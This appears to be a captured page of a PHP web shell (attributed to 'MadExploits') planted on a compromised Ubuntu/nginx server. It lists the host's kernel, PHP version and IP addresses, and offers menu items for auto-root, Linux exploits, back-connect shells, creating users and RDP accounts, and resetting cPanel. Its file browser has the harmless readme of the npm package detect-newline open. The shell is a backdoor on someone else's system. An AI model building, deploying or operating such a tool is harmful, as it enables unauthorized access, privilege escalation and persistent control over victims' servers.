Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
detect-newline /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
614
B
-rw-rw-rw-
index.js
505
B
-rw-rw-rw-
license
1.08
KB
-rw-rw-rw-
package.json
640
B
-rw-rw-rw-
readme.md
906
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
# detect-newline [](https://travis-ci.org/sindresorhus/detect-newline) > Detect the dominant newline character of a string ## Install ``` $ npm install detect-newline ``` ## Usage ```js const detectNewline = require('detect-newline'); detectNewline('foo\nbar\nbaz\r\n'); //=> '\n' ``` ## API ### detectNewline(string) Returns the detected newline or `undefined` when no newline character is found. ### detectNewline.graceful(unknown) Returns the detected newline or `\n` when no newline character is found or the input is not a string. ## Related - [detect-newline-cli](https://github.com/sindresorhus/detect-newline-cli) - CLI for this module - [detect-indent](https://github.com/sindresorhus/detect-indent) - Detect the indentation of code ## License MIT © [Sindre Sorhus](https://sindresorhus.com)
Close